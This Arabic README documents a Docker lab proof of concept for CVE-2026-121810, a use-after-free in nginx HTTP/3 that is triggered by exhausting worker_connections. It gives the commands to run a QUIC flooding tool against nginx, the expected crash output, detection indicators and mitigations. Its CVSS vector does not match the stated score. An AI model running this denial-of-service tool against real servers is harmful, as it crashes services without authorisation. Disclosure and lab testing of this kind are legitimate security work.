
إثبات مفهوم قائم على Docker للثغرة CVE-2026-121810، وهي ثغرة use-after-free في nginx HTTP/3 (QUIC) تُستثار عند استنفاد worker_connections، مع أداة إثارة تعتمد على Python لإغراق QUIC وكشف الانهيار.
يحدث استخدام بعد التحرير (use-after-free) في حزمة HTTP/3 (QUIC) الخاصة بـ nginx عندما تُستنفد قيمة worker_connections ويبدأ nginx في إغلاق الاتصالات لاستعادة الفتحات. تُحرَّر حالة تدفق QUIC بينما لا يزال معالج قيد التنفيذ يستخدمها، مما يؤدي إلى انهيار العامل (worker). ومن الممكن تحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) في حال التغلب على ASLR.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-121810 |
| CVSS 3.1 | 7.5 High — AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-416 (Use After Free) |
| المتأثر | nginx 1.25.0 – 1.31.8 |
| تم الإصلاح | nginx 1.30.7 / 1.31.9 |
| الإشعار الأمني | https://my.f5.com/manage/s/article/K000163927 |
| يتطلب مصادقة | لا |
| تاريخ الإفصاح | 2026-11-18 |
عندما تكون فتحات worker_connections مشغولة بالكامل تحت حمل HTTP/3، فإن مسار تنظيف استنفاد الاتصالات في nginx يحرّر حالة تدفق QUIC بينما قد لا تزال عمليات الاستدعاء الراجعة (callbacks) للوكيل الوسيط (upstream proxy) تحتفظ بمؤشرات خام إليها. يفتح PoC موجات من اتصالات QUIC مع تدفقات نشطة إلى خادم خلفي يحتفظ بالاستجابات، ثم ينهي كل شيء لإحداث إلغاء الإشارة إلى الحالة المحرَّرة.
الشروط المسبقة:
listen ... quic، http3 on، TLSv1.3)worker_connections صغيرة بما يكفي لتكون قابلة للوصول (يضبط المختبر القيمة على 24)flowchart LR
A([Attacker]) -->|150 concurrent QUIC\nconnections, 4 streams each| B[nginx 1.31.8\nHTTP/3 worker_connections=24]
B -->|Pool exhausted\nCleanup frees stream state| C{Stream handler\nstill has pointer}
C -->|Dereference freed\nQUIC stream state| D[Worker SIGSEGV\nDoS / RCE]
style A fill:#3d1a1a,stroke:#f85149,color:#f85149
style D fill:#1a1f2e,stroke:#f85149,color:#f85149
تحذير: بيئة مختبرية فقط. تم ضبط
worker_connectionsعمدًا على 24 لجعل الاستنزاف حتميًا.
pip install -r requirements.txt
docker compose up -d --build
python3 poc.py -c 150 -w 6
المخرجات المتوقعة — nginx عرضة للثغرة:
[*] wave 1: 150 connections, 0 local errors
[*] wave 2: 150 connections, 3 local errors
[*] wave 3: 150 connections, 12 local errors
[+] worker unresponsive after wave 3
[!] VULNERABLE - worker died 1 time(s)
docker compose logs nginx | grep -iE 'signal 11|segfault'
# More connections per wave
python3 poc.py -c 200 -w 8
# Fewer connections (slow host)
python3 poc.py -c 50 -w 10
# Verbose mode
python3 poc.py -c 150 -w 6 -v
| العلامة | الوصف |
|---|---|
-c N | الاتصالات المتزامنة لكل موجة (الافتراضي: 150) |
-w N | عدد الموجات (الافتراضي: 6) |
-v | إخراج مطوّل |
--host HOST | مضيف nginx (الافتراضي: 127.0.0.1) |
--port PORT | منفذ QUIC (الافتراضي: 443) |
docker compose logs nginx | grep -iE 'signal 11|segfault'
sed -i 's/nginx:1.31.8/nginx:1.31.9/' nginx/Dockerfile
docker compose build --no-cache nginx && docker compose up -d
python3 poc.py -c 150 -w 6
# No crash: worker remains responsive after all waves
| المؤشر | ملاحظات |
|---|---|
| إشارة انهيار عامل nginx 11 | nginx error.log: "worker process exited on signal 11" |
معدل اتصالات QUIC مرتفع قرب حد worker_connections | راقب مقياس active connections في nginx |
| إعادة تشغيل العمال تحت حمل HTTP/3 مستمر | تشير عمليات إعادة التشغيل الآلية إلى استغلال UAF بشكل متكرر |
حرمان من الخدمة (DoS) عن بُعد دون مصادقة (انهيار العامل). مع تعطيل ASLR أو تجاوزه، قد يسمح تخطيط الكومة الناتج عن استنفاد الاتصالات بتنفيذ تعليمات برمجية عن بُعد. النظير في HTTP/3 للثغرة CVE-2026-123633 (UAF في HTTP/2 تحت الظروف نفسها).
قم بالترقية إلى nginx 1.30.7 أو 1.31.9.
| الإجراء | التفاصيل |
|---|---|
| ترقية nginx | 1.30.7 (مستقر) أو 1.31.9 (mainline) |
زيادة worker_connections | ارفع الحد لجعل الاستنفاد أصعب في التحفيز على نطاق واسع |
| تحديد معدل اتصالات QUIC | حدّد معدل الاتصالات لكل IP على الجدار الناري |
| مراقبة إعادة تشغيل العمال | نبّه عند خروج عمال nginx بالإشارة 11 |
إخلاء المسؤولية: للبحث الأمني المصرّح به والاستخدام في المختبرات المُتحكَّم بها فقط. رخصة MIT.